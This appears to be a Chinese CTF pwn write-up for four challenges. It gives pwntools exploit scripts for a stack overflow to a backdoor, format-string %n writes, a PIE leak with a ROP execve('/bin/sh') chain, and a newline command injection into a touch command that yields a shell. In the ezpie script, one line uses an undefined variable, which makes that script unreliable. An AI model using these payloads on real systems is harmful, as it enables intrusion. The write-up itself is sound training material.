stack

一道不错的题目,让我对pwndbg的使用进一步的熟练

程序代码很简单,自定义输入字符串长度,通过循环不断输入,那么可以造成栈溢出,并且存在后门函数。但是此题的关键在于变量i会被覆盖,那么就会导致程序根据i将我们输入的东西写入到另一个地方。

因此,我们可以找准i的偏移,防止其被覆盖,我们就可以正常栈溢出到返回地址。

from pwn import*
io=remote('challenge.imxbt.cn',20197)
#io=process('./stack')
ret=0x040101a
backdoor=0x4012E6

def debug():
gdb.attach(io)
pause()

payload=cyclic(0x1d)+b'\x1f'+b'a'*8+p64(ret)+p64(backdoor)
io.send(b'51')
io.send(payload)

#debug()

io.interactive()

fmt

存在格式化字符串漏洞需要将n18和n52的值分别改为18和52,先算出两者的偏移,再利用%{}$n修改值。

from pwn import*
#io=process('./fmt')
io=remote('gz.imxbt.cn',20153)
def debug():
gdb.attach(io)
pause()

payload=b'a'*18+b'%8$n'+b'a'*34+b'%9$n'
io.sendline(payload)
#debug()

io.interactive()

ezpie

开启了pie保护,存在格式化字符串漏洞,可以泄漏基址,又因为存在/bin/sh字符串且存在栈溢出,因此可以打系统调用或者ret2libc。

from pwn import *

#io = process("./ezpie")
io = remote("gz.imxbt.cn",20167)
offset = 88
io.sendafter('your name->',b'A'*40)
io.recvuntil(b'A'*40)
func = u64(io.recv(6).ljust(8,b'\x00'))
print('func\t',hex(func))
base_addr = a - 0x120e
print(hex(base_addr))
main_addr = 0x1254 + base_addr
pop_rax = 0x12c8 + base_addr
pop_rdi = 0x1333 + base_addr
pop_rsi_r15= 0x1331 + base_addr
binsh = 0x2008 + base_addr
sys_ret = 0x12C5 + base_addr
payload = cyclic(offset)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(sys_ret)
io.sendlineafter('please enter your information-> ',payload)
io.interactive()

touch_file1

有touch命令,然后有字符检查,由于没有禁止\n,那么就使用\n结束touch命令,执行/bin/sh。

from pwn import*
io=remote('gz.imxbt.cn',20302)

io.sendline(b'1')
io.sendline(b'a\n /bin/sh\n')

io.interactive()